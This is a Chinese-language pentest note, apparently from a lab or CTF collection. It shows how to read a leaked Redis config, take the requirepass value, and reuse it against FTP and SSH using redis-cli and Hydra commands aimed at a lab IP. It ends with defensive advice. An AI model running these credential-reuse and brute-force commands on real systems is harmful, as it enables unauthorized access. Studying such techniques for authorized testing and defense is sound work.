Redis 配置泄露与凭据复用
Redis 暴露在外网或靶场网段时,不一定能直接拿 shell。更常见的突破方式是:先通过 LFI、备份、源码读取到 redis.conf,拿到 requirepass,再验证 Redis 认证,并尝试把这组密码复用到 FTP、SSH、后台等服务。
服务识别
nmap -sV -p 6379 192.168.1.111
redis-cli -h 192.168.1.111 ping
如果需要认证:
NOAUTH Authentication required.
配置文件高价值字段
常见路径:
/etc/redis/redis.conf
/etc/redis.conf
/var/lib/redis/redis.conf
重点字段:
bind 0.0.0.0
protected-mode no
requirepass washington
dir /var/lib/redis
dbfilename dump.rdb
验证 Redis 密码
redis-cli -h 192.168.1.111 -a 'washington' ping
redis-cli -h 192.168.1.111 -a 'washington' info
redis-cli -h 192.168.1.111 -a 'washington' keys '*'
如果 Redis 本身没有可利用键值,不要卡住,进入凭据复用。
凭据复用尝试
将 requirepass 作为候选密码,结合已知用户名测试其他服务:
ftp 192.168.1.111
ssh max@192.168.1.111
ssh mario@192.168.1.111
也可以用 Hydra 做小范围验证:
hydra -l mario -p 'washington' ftp://192.168.1.111
hydra -L users.txt -p 'washington' ssh://192.168.1.111
防坑点
- Redis 密码不一定是 SSH 密码,但在靶场和弱运维环境中很值得尝试。
keys *在生产环境可能造成性能影响,真实授权测试中应谨慎。- Redis 写 SSH key、写 WebShell 等经典利用需要满足目录权限和运行用户条件,不是所有场景都成立。
防御建议
- Redis 不直接暴露到不可信网段。
protected-mode yes,绑定内网地址或 Unix socket。- Redis 密码不能复用到系统用户、FTP、后台。
- 配置文件权限最小化,Web 用户不应能读取。
来源案例
- Artig:通过 WordPress
site-editorLFI 读取/etc/redis/redis.conf,获得requirepass washington,再复用到 FTP 获取 WordPress 备份配置。